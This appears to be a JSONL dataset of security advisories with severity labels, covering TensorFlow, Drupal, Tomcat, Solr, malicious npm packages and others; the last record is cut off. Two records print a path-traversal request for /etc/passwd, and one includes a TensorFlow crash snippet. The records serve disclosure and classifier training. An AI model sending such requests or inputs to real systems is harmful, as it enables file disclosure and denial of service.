-{"id": "0b332b0cb73bd0cf111b", "text": "Heap buffer overflow in Tensorflow\n\n### Impact\nThe `SparseCountSparseOutput` implementation does not validate that the input arguments form a valid sparse tensor. In particular, there is no validation that the `indices` tensor has the same shape as the `values` one. The values in these tensors are always accessed in parallel:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L193-L195\n\nThus, a shape mismatch can result in accesses outside the bounds of heap allocated buffers.\n\n### Patches\nWe have patched the issue in 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and will release a patch release.\n\nWe recommend users to upgrade to TensorFlow 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability is a variant of [GHSA-p5f8-gfw5-33w4](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p5f8-gfw5-33w4)", "text_raw": "Heap buffer overflow in Tensorflow\n\n[Severity: MEDIUM]\n\n### Impact\nThe `SparseCountSparseOutput` implementation does not validate that the input arguments form a valid sparse tensor. In particular, there is no validation that the `indices` tensor has the same shape as the `values` one. The values in these tensors are always accessed in parallel:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L193-L195\n\nThus, a shape mismatch can result in accesses outside the bounds of heap allocated buffers.\n\n### Patches\nWe have patched the issue in 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and will release a patch release.\n\nWe recommend users to upgrade to TensorFlow 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability is a variant of [GHSA-p5f8-gfw5-33w4](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p5f8-gfw5-33w4)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "05aa74d3682d9f7d3e59", "text": "Directory Traversal in ltt\n\nAffected versions of `ltt` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in ltt\n\n[Severity: HIGH]\n\nAffected versions of `ltt` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "61881da01061a1498113", "text": "Improper use of cryptographic key in wal-g\n\nWAL-G before 1.1, when a non-libsodium build (e.g., one of the official binary releases published as GitHub Releases) is used, silently ignores the libsodium encryption key and uploads cleartext backups. This is arguably a Principle of Least Surprise violation because \"the user likely wanted to encrypt all file activity.\"", "text_raw": "Improper use of cryptographic key in wal-g\n\n[Severity: HIGH]\n\nWAL-G before 1.1, when a non-libsodium build (e.g., one of the official binary releases published as GitHub Releases) is used, silently ignores the libsodium encryption key and uploads cleartext backups. This is arguably a Principle of Least Surprise violation because \"the user likely wanted to encrypt all file activity.\"", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "16375904e64412b22b74", "text": "Missing Authorization in Drupal\n\nIn Drupal 8.x prior to 8.3.7 When creating a view, you can optionally use Ajax to update the displayed data via filter parameters. The views subsystem/module did not restrict access to the Ajax endpoint to only views configured to use Ajax. This is mitigated if you have access restrictions on the view. It is best practice to always include some form of access restrictions on all views, even if you are using another module to display them.", "text_raw": "Missing Authorization in Drupal\n\n[Severity: MEDIUM]\n\nIn Drupal 8.x prior to 8.3.7 When creating a view, you can optionally use Ajax to update the displayed data via filter parameters. The views subsystem/module did not restrict access to the Ajax endpoint to only views configured to use Ajax. This is mitigated if you have access restrictions on the view. It is best practice to always include some form of access restrictions on all views, even if you are using another module to display them.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-10-10", "split": "train"}
-{"id": "7e2917636474279bd7b0", "text": "XpoLog Center V6 CSRF Remote Command Execution", "text_raw": "XpoLog Center V6 CSRF Remote Command Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-07-01", "split": "train"}
-{"id": "0f6a3636619566e639d5", "text": "Google Chrome Use-After-Free Vulnerability\n\nAffected: Google Chrome\n\nGoogle Chrome contains a use-after-free vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Google Chrome Use-After-Free Vulnerability\n\nAffected: Google Chrome\n\nGoogle Chrome contains a use-after-free vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page.  \n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "57c218dbbe70bbf7272e", "text": "Malicious Package in bufger-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in bufger-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "4d6053ab9e5f74eac6dc", "text": "Missing Release of Resource after Effective Lifetime in Apache Tomcat\n\nThe fix for bug 63362 present in Apache Tomcat 10.1.0-M1 to 10.1.0-M5, 10.0.0-M1 to 10.0.11, 9.0.40 to 9.0.53 and 8.5.60 to 8.5.71 introduced a memory leak. The object introduced to collect metrics for HTTP upgrade connections was not released for WebSocket connections once the connection was closed. This created a memory leak that, over time, could lead to a denial of service via an OutOfMemoryError.", "text_raw": "Missing Release of Resource after Effective Lifetime in Apache Tomcat\n\n[Severity: HIGH]\n\nThe fix for bug 63362 present in Apache Tomcat 10.1.0-M1 to 10.1.0-M5, 10.0.0-M1 to 10.0.11, 9.0.40 to 9.0.53 and 8.5.60 to 8.5.71 introduced a memory leak. The object introduced to collect metrics for HTTP upgrade connections was not released for WebSocket connections once the connection was closed. This created a memory leak that, over time, could lead to a denial of service via an OutOfMemoryError.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-15", "split": "train"}
-{"id": "e9ca271b01c479e54ac2", "text": "Malicious code in `loadyaml`\n\nnpm packages `loadyaml` and `electorn` were removed from the npm registry for containing malicious code. Upon installation the package runs a preinstall script that writes a public comment on GitHub containing the following information:\n- IP and IP-based geolocation\n- home directory name\n- local username\n\nThe malicious packages have been removed from the npm registry and the leaked content removed from GitHub.", "text_raw": "Malicious code in `loadyaml`\n\n[Severity: CRITICAL]\n\nnpm packages `loadyaml` and `electorn` were removed from the npm registry for containing malicious code. Upon installation the package runs a preinstall script that writes a public comment on GitHub containing the following information:\n- IP and IP-based geolocation\n- home directory name\n- local username \n\nThe malicious packages have been removed from the npm registry and the leaked content removed from GitHub.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-10-01", "split": "train"}
-{"id": "8876cfbd4cc049d08b4a", "text": "Credential exposure through log files in Undertow\n\nA vulnerability was found in Undertow web server before 2.0.21. An information exposure of plain text credentials through log files because Connectors.executeRootHandler:402 logs the HttpServerExchange object at ERROR level using UndertowLogger.REQUEST_LOGGER.undertowRequestFailed(t, exchange)", "text_raw": "Credential exposure through log files in Undertow\n\n[Severity: CRITICAL]\n\nA vulnerability was found in Undertow web server before 2.0.21. An information exposure of plain text credentials through log files because Connectors.executeRootHandler:402 logs the HttpServerExchange object at ERROR level using UndertowLogger.REQUEST_LOGGER.undertowRequestFailed(t, exchange)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-06-13", "split": "train"}
-{"id": "00a92cfe18fe667572e3", "text": "Malicious Package in buffer-8or\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffer-8or\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "61808ca69c298ec2af68", "text": "Denial of Service in jquery\n\nAffected versions of `jquery` use a lowercasing logic on attribute names. When given a boolean attribute with a name that contains uppercase characters, `jquery` enters into an infinite recursion loop, exceeding the call stack limit, and resulting in a denial of service condition.\n\n## Recommendation\n\nUpdate to version 3.0.0 or later.", "text_raw": "Denial of Service in jquery\n\n[Severity: HIGH]\n\nAffected versions of `jquery` use a lowercasing logic on attribute names. When given a boolean attribute with a name that contains uppercase characters, `jquery` enters into an infinite recursion loop, exceeding the call stack limit, and resulting in a denial of service condition.\n\n\n## Recommendation\n\nUpdate to version 3.0.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-01-22", "split": "train"}
-{"id": "2dbf3d6377a9d80415d2", "text": "SyncChannel<T> can move 'T: !Send' to other threads\n\nAffected versions of this crate unconditionally implement Send/Sync for `SyncChannel<T>`. `SyncChannel<T>` doesn't provide access to `&T` but merely serves as a channel that consumes and returns owned `T`. Users can create UB in safe Rust by sending `T: !Send` to other threads with `SyncChannel::send/recv` APIs. Using `T = Arc<Cell<_>` allows to create data races (which can lead to memory corruption), and using `T = MutexGuard<T>` allows to unlock a mutex from a thread that didn't lock the mutex.", "text_raw": "SyncChannel<T> can move 'T: !Send' to other threads\n\n[Severity: HIGH]\n\nAffected versions of this crate unconditionally implement Send/Sync for `SyncChannel<T>`. `SyncChannel<T>` doesn't provide access to `&T` but merely serves as a channel that consumes and returns owned `T`. Users can create UB in safe Rust by sending `T: !Send` to other threads with `SyncChannel::send/recv` APIs. Using `T = Arc<Cell<_>` allows to create data races (which can lead to memory corruption), and using `T = MutexGuard<T>` allows to unlock a mutex from a thread that didn't lock the mutex.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "5a6afea72ddb5e6406ef", "text": "InfraPower PPS-02-S Q213V1 Cross-Site Request Forgery", "text_raw": "InfraPower PPS-02-S Q213V1 Cross-Site Request Forgery\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-10-28", "split": "train"}
-{"id": "b27f02248479d126da2f", "text": "CSRF Vulnerability in polaris-website\n\n### Impact\nCSRF vulnerability:\nIn some very specific circumstances, an attacker would be able to update your settings.\nBasically you would need to navigate to hackersite.com while logged into our panel. Then they could modify your settings. They couldn't check if it worked, nor could they read your settings.\n\n### Patches\nAs of v1.1.1 this has been patched by implementing the Double submit pattern using a cookie.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Polaris-React](https://github.com/polaris-rbx/polaris-react)\n* Email us at [hi@nezto.re](mailto:hi@nezto.re)\n* Join our discord (preferred): https://discord.gg/QevWabU", "text_raw": "CSRF Vulnerability in polaris-website\n\n[Severity: MEDIUM]\n\n### Impact\nCSRF vulnerability:\nIn some very specific circumstances, an attacker would be able to update your settings.\nBasically you would need to navigate to hackersite.com while logged into our panel. Then they could modify your settings. They couldn't check if it worked, nor could they read your settings.\n\n### Patches\nAs of v1.1.1 this has been patched by implementing the Double submit pattern using a cookie.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Polaris-React](https://github.com/polaris-rbx/polaris-react)\n* Email us at [hi@nezto.re](mailto:hi@nezto.re)\n* Join our discord (preferred): https://discord.gg/QevWabU", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-05", "split": "train"}
-{"id": "e8601611ebc8df27feaa", "text": "Any storage file can be downloaded from p.sh if full server path is known\n\nThe default configuration for platform.sh (.platform.app.yaml) allows access to uploaded files if you know or can guess their location, regardless of whether roles grant content read access to the content containing those files. If you're using Legacy Bridge, the default configuration also allows access to certain legacy files that should not be readable, including the legacy var directory and extension directories.", "text_raw": "Any storage file can be downloaded from p.sh if full server path is known\n\n[Severity: HIGH]\n\nThe default configuration for platform.sh (.platform.app.yaml) allows access to uploaded files if you know or can guess their location, regardless of whether roles grant content read access to the content containing those files. If you're using Legacy Bridge, the default configuration also allows access to certain legacy files that should not be readable, including the legacy var directory and extension directories.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-14", "split": "train"}
-{"id": "e53a8cc6400e4420b7e8", "text": "XSS in Adminer\n\n**Withdrawn:** Duplicate of GHSA-9pgx-gcph-mpqr.\n\nAdminer before 4.7.9 allows XSS via the history parameter to the default URI.", "text_raw": "XSS in Adminer\n\n[Severity: MEDIUM]\n\n**Withdrawn:** Duplicate of GHSA-9pgx-gcph-mpqr.\n\nAdminer before 4.7.9 allows XSS via the history parameter to the default URI.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-11", "split": "train"}
-{"id": "02fcd21ffffcf4198d58", "text": "Bootstrap Cross-site Scripting vulnerability\n\nIn Bootstrap starting in version 2.3.0 and prior to versions 3.4.0 and 4.1.2, XSS is possible in the data-container property of tooltip.  This is similar to CVE-2018-14041.", "text_raw": "Bootstrap Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nIn Bootstrap starting in version 2.3.0 and prior to versions 3.4.0 and 4.1.2, XSS is possible in the data-container property of tooltip.  This is similar to CVE-2018-14041.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-13", "split": "train"}
-{"id": "0634df49e1a715ae00f4", "text": "Insecure Deserialization in Apache Commons Collection\n\nSerialized-object interfaces in Java applications using the Apache Commons Collections (ACC) library may allow remote attackers to execute arbitrary commands via a crafted serialized Java object.", "text_raw": "Insecure Deserialization in Apache Commons Collection\n\n[Severity: HIGH]\n\nSerialized-object interfaces in Java applications using the Apache Commons Collections (ACC) library may allow remote attackers to execute arbitrary commands via a crafted serialized Java object.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-15", "split": "train"}
-{"id": "f129bcbc3762f338ebdc", "text": "Script injection without script or programming rights through Gadget titles\n\n### Impact\nA user without Script or Programming right is able to execute script requiring privileges by editing gadget titles in the dashboard.\n\n### Patches\nThe issue has been patched in XWiki 12.6.7, 12.10.3 and 13.0RC1.\n\n### Workarounds\nThere's no easy workaround for this issue, it is recommended to upgrade XWiki.\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-17794\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [JIRA](https://jira.xwiki.org)\n* Email us at [XWiki security mailing-list](mailto:security@xwiki.org)", "text_raw": "Script injection without script or programming rights through Gadget titles\n\n[Severity: HIGH]\n\n### Impact\nA user without Script or Programming right is able to execute script requiring privileges by editing gadget titles in the dashboard.\n\n### Patches\nThe issue has been patched in XWiki 12.6.7, 12.10.3 and 13.0RC1.\n\n### Workarounds\nThere's no easy workaround for this issue, it is recommended to upgrade XWiki.\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-17794\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [JIRA](https://jira.xwiki.org)\n* Email us at [XWiki security mailing-list](mailto:security@xwiki.org)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "90d5d86fdf799b4420fb", "text": "Out of bounds read in Ozone\n\nAn issue was discovered in the ozone crate through version 0.1.0 for Rust. Memory safety is violated because of out-of-bounds access.", "text_raw": "Out of bounds read in Ozone\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the ozone crate through version 0.1.0 for Rust. Memory safety is violated because of out-of-bounds access.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "7c7e921964b4998637a1", "text": "Server-Side Request Forgery in Apache Solr\n\nThe ReplicationHandler (normally registered at \"/replication\" under a Solr core) in Apache Solr has a \"masterUrl\" (also \"leaderUrl\" alias) parameter that is used to designate another ReplicationHandler on another Solr core to replicate index data into the local core. To prevent a SSRF vulnerability, Solr ought to check these parameters against a similar configuration it uses for the \"shards\" parameter. Prior to this bug getting fixed, it did not. This problem affects essentially all Solr versions prior to it getting fixed in 8.8.2.", "text_raw": "Server-Side Request Forgery in Apache Solr\n\n[Severity: HIGH]\n\nThe ReplicationHandler (normally registered at \"/replication\" under a Solr core) in Apache Solr has a \"masterUrl\" (also \"leaderUrl\" alias) parameter that is used to designate another ReplicationHandler on another Solr core to replicate index data into the local core. To prevent a SSRF vulnerability, Solr ought to check these parameters against a similar configuration it uses for the \"shards\" parameter. Prior to this bug getting fixed, it did not. This problem affects essentially all Solr versions prior to it getting fixed in 8.8.2.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "cb530744352d856df3ee", "text": "Cross-Site Scripting in http_server\n\nAll versions of `http_server` are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize filenames, allowing attackers to execute arbitrary JavaScript in the victim's browser through files with names containing malicious code.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Cross-Site Scripting in http_server\n\n[Severity: HIGH]\n\nAll versions of `http_server` are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize filenames, allowing attackers to execute arbitrary JavaScript in the victim's browser through files with names containing malicious code.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-03-31", "split": "train"}
-{"id": "5ca363b3aced90f1605a", "text": "Potential DOS attack due to unrestricted attachment count in messages\n\nApache CXF before 3.3.4 and 3.2.11 does not restrict the number of message attachments present in a given message. This leaves open the possibility of a denial of service type attack, where a malicious user crafts a message containing a very large number of message attachments. From the 3.3.4 and 3.2.11 releases, a default limit of 50 message attachments is enforced. This is configurable via the message property \"attachment-max-count\".", "text_raw": "Potential DOS attack due to unrestricted attachment count in messages\n\n[Severity: MEDIUM]\n\nApache CXF before 3.3.4 and 3.2.11 does not restrict the number of message attachments present in a given message. This leaves open the possibility of a denial of service type attack, where a malicious user crafts a message containing a very large number of message attachments. From the 3.3.4 and 3.2.11 releases, a default limit of 50 message attachments is enforced. This is configurable via the message property \"attachment-max-count\".", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-08", "split": "train"}
-{"id": "47bf7c89b83168342fe6", "text": "Malicious code in `electorn`\n\nnpm packages `loadyaml` and `electorn` were removed from the npm registry for containing malicious code. Upon installation the package runs a preinstall script that writes a public comment on GitHub containing the following information:\n- IP and IP-based geolocation\n- home directory name\n- local username\n\nThe malicious packages have been removed from the npm registry and the leaked content removed from GitHub.", "text_raw": "Malicious code in `electorn`\n\n[Severity: CRITICAL]\n\nnpm packages `loadyaml` and `electorn` were removed from the npm registry for containing malicious code. Upon installation the package runs a preinstall script that writes a public comment on GitHub containing the following information:\n- IP and IP-based geolocation\n- home directory name\n- local username \n\nThe malicious packages have been removed from the npm registry and the leaked content removed from GitHub.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-10-01", "split": "train"}
-{"id": "ea0a2f4714b0613f7b71", "text": "rack-mini-profiler allows remote attackers to obtain sensitive information about allocated strings and objects\n\nThe rack-mini-profiler gem before 0.10.1 for Ruby allows remote attackers to obtain sensitive information about allocated strings and objects by leveraging incorrect ordering of security checks.", "text_raw": "rack-mini-profiler allows remote attackers to obtain sensitive information about allocated strings and objects\n\n[Severity: MEDIUM]\n\nThe rack-mini-profiler gem before 0.10.1 for Ruby allows remote attackers to obtain sensitive information about allocated strings and objects by leveraging incorrect ordering of security checks.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "3bdbc267081ebc19fd93", "text": "Improper Removal of Sensitive Information Before Storage or Transfer in HashiCorp Vault\n\nHashiCorp Vault and Vault Enterprise’s UI erroneously cached and exposed user-viewed secrets between sessions in a single shared browser. Fixed in 1.8.0 and pending 1.7.4 / 1.6.6 releases.", "text_raw": "Improper Removal of Sensitive Information Before Storage or Transfer in HashiCorp Vault\n\n[Severity: MEDIUM]\n\nHashiCorp Vault and Vault Enterprise’s UI erroneously cached and exposed user-viewed secrets between sessions in a single shared browser. Fixed in 1.8.0 and pending 1.7.4 / 1.6.6 releases.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "43000be2385868f03bcc", "text": "Code injection in Narou\n\nNarou (aka Narou.rb) before 3.8.0 allows Ruby Code Injection via the title name or author name of a novel.", "text_raw": "Code injection in Narou\n\n[Severity: HIGH]\n\nNarou (aka Narou.rb) before 3.8.0 allows Ruby Code Injection via the title name or author name of a novel.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-02", "split": "train"}
-{"id": "03d53609d20298d51b3e", "text": "Integer division by 0 in sparse reshaping\n\n### Impact\nThe implementation of `tf.raw_ops.SparseReshape` can be made to trigger an integral division by 0 exception:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.SparseReshape(\n  input_indices = np.ones((1,3)),\n  input_shape = np.array([1,1,0]),\n  new_shape = np.array([1,0]))\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/reshape_util.cc#L176-L181) calls the reshaping functor whenever there is at least an index in the input but does not check that shape of the input or the target shape have both a non-zero number of elements.\n\nThe [reshape functor](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/reshape_util.cc#L40-L78) blindly divides by the dimensions of the target shape. Hence, if this is not checked, code will result in a division by 0.\n\n### Patches\nWe have patched the issue in GitHub commit [4923de56ec94fff7770df259ab7f2288a74feb41](https://github.com/tensorflow/tensorflow/commit/4923de56ec94fff7770df259ab7f2288a74feb41).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1 as this is the other affected version.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Integer division by 0 in sparse reshaping\n\n[Severity: MEDIUM]\n\n### Impact\nThe implementation of `tf.raw_ops.SparseReshape` can be made to trigger an integral division by 0 exception:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.SparseReshape(\n  input_indices = np.ones((1,3)),\n  input_shape = np.array([1,1,0]),\n  new_shape = np.array([1,0]))\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/reshape_util.cc#L176-L181) calls the reshaping functor whenever there is at least an index in the input but does not check that shape of the input or the target shape have both a non-zero number of elements.\n\nThe [reshape functor](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/reshape_util.cc#L40-L78) blindly divides by the dimensions of the target shape. Hence, if this is not checked, code will result in a division by 0.\n  \n### Patches\nWe have patched the issue in GitHub commit [4923de56ec94fff7770df259ab7f2288a74feb41](https://github.com/tensorflow/tensorflow/commit/4923de56ec94fff7770df259ab7f2288a74feb41).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1 as this is the other affected version.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n  \n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "f94dec90cbe018f7b447", "text": "Directory Traversal in iter-http\n\nAffected versions of `iter-http` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in iter-http\n\n[Severity: HIGH]\n\nAffected versions of `iter-http` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "9b88ffa35b30040700c4", "text": "Using default SSLContext for HTTPS requests in an HTTPS proxy doesn't verify certificate hostname for proxy connection\n\n### Impact\n\nUsers who are using an HTTPS proxy to issue HTTPS requests and haven't configured their own SSLContext via `proxy_config`.\nOnly the default SSLContext is impacted.\n\n### Patches\n\n[urllib3 >=1.26.4 has the issue resolved](https://github.com/urllib3/urllib3/releases/tag/1.26.4). urllib3<1.26 is not impacted due to not supporting HTTPS requests via HTTPS proxies.\n\n### Workarounds\n\nUpgrading is recommended as this is a minor release and not likely to break current usage.\n\nConfiguring an `SSLContext` with `check_hostname=True` and passing via `proxy_config` instead of relying on the default `SSLContext`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com)", "text_raw": "Using default SSLContext for HTTPS requests in an HTTPS proxy doesn't verify certificate hostname for proxy connection\n\n[Severity: MEDIUM]\n\n### Impact\n\nUsers who are using an HTTPS proxy to issue HTTPS requests and haven't configured their own SSLContext via `proxy_config`.\nOnly the default SSLContext is impacted.\n\n### Patches\n\n[urllib3 >=1.26.4 has the issue resolved](https://github.com/urllib3/urllib3/releases/tag/1.26.4). urllib3<1.26 is not impacted due to not supporting HTTPS requests via HTTPS proxies.\n\n### Workarounds\n\nUpgrading is recommended as this is a minor release and not likely to break current usage.\n\nConfiguring an `SSLContext` with `check_hostname=True` and passing via `proxy_config` instead of relying on the default `SSLContext`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-19", "split": "train"}
-{"id": "b77f9ea6174217b34f41", "text": "Infinite Loop in Pygments\n\nAn infinite loop in SMLLexer in Pygments versions 1.5 to 2.7.3 may lead to denial of service when performing syntax highlighting of a Standard ML (SML) source file, as demonstrated by input that only contains the \"exception\" keyword.", "text_raw": "Infinite Loop in Pygments\n\n[Severity: HIGH]\n\nAn infinite loop in SMLLexer in Pygments versions 1.5 to 2.7.3 may lead to denial of service when performing syntax highlighting of a Standard ML (SML) source file, as demonstrated by input that only contains the \"exception\" keyword.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "a5d4665cf97f83cb71bb", "text": "CSV Injection Vulnerability\n\n### Impact\nIn some circumstances, it was possible to export data in CSV format that could trigger a payload in old versions of Excel.\n\nIf you are accepting user input from untrusted sources and will be exporting that data in CSV format from element index pages and there is a chance users will open that on old versions of Excel, then you should update.\n\n### Patches\nThis has been patched in Craft 3.7.14.\n\n### References\n* https://github.com/craftcms/cms/blob/develop/CHANGELOG.md#3714---2021-09-28\n* https://twitter.com/craftcmsupdates/status/1442928690145366018\n\n### For more information\n\nIf you have any questions or comments about this advisory, email us at support@craftcms.com\n\n----------\n\nCredits: BAE Systems AI Vulnerability Research Team – Azrul Ikhwan Zulkifli", "text_raw": "CSV Injection Vulnerability\n\n[Severity: HIGH]\n\n### Impact\nIn some circumstances, it was possible to export data in CSV format that could trigger a payload in old versions of Excel.\n\nIf you are accepting user input from untrusted sources and will be exporting that data in CSV format from element index pages and there is a chance users will open that on old versions of Excel, then you should update.\n\n### Patches\nThis has been patched in Craft 3.7.14.\n\n### References\n* https://github.com/craftcms/cms/blob/develop/CHANGELOG.md#3714---2021-09-28\n* https://twitter.com/craftcmsupdates/status/1442928690145366018\n\n### For more information\n\nIf you have any questions or comments about this advisory, email us at support@craftcms.com\n\n----------\n\nCredits: BAE Systems AI Vulnerability Research Team – Azrul 